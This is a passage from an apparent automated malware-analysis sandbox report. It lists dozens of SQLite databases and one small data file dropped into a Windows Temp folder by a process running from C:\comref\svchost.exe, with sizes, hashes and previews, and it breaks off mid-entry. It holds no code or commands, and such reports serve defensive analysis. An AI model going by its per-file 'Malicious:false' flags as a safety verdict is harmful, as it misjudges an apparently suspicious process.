                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\U5QFmmtkx7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\UPJau1G0xq

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\URQP3itIac

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\UatfufBuY6

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\UgeMXacRzs

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\UpiTC67UcN

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\UxnVdDyGZe

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\V6iLOXsP4S

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\VFjC6cktTb

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\VOvOxwc5P0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\VZr7vJ0zSo

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\VkZsI1AVDU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\VoTY2yiYEB

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Vt9LN3gNw2

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\W0nX8cEFif

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\W1Yc46WH5V

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\W4US8RPsNa

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\WpjsXrHaH4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\WwJudcbpwH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Wxdj6ODvaY

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:Clarion Developer (v2 and above) data file, memo file exists, read only, 1816353330 records
                                                                      Category:dropped
                                                                      Size (bytes):25
                                                                      Entropy (8bit):4.003856189774724
                                                                      Encrypted:false
                                                                      SSDEEP:3:h1L2AiRvl2K:DL2AIn
                                                                      MD5:FC3FDE6D053FC97B384625DA5124FCE6
                                                                      SHA1:8035AF54F66420608263927A5214CD3841ABDFF9
                                                                      SHA-256:C4975EE78B0339DCAF940BECEA915DF086750B1C2341F4E273225EFA799A94CB
                                                                      SHA-512:CC3146EF75F6ECAB2E7986AB64DBDC9C05DBAFCBA84E70EBB99B011BE754FBE023A37B49B1B8202317DE68C2484EC778703A2A42FC2F54B1ACBC751AA5A783A8
                                                                      Malicious:false
                                                                      Preview:C3Hbn2ZClevH6elptbhJeeQjo

                                                                      C:\Users\user\AppData\Local\Temp\X5qKbIJsry

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XFurddSr42

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XLw8czPGAj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XMlRR0v9qa

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XQhIZRLLUF

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
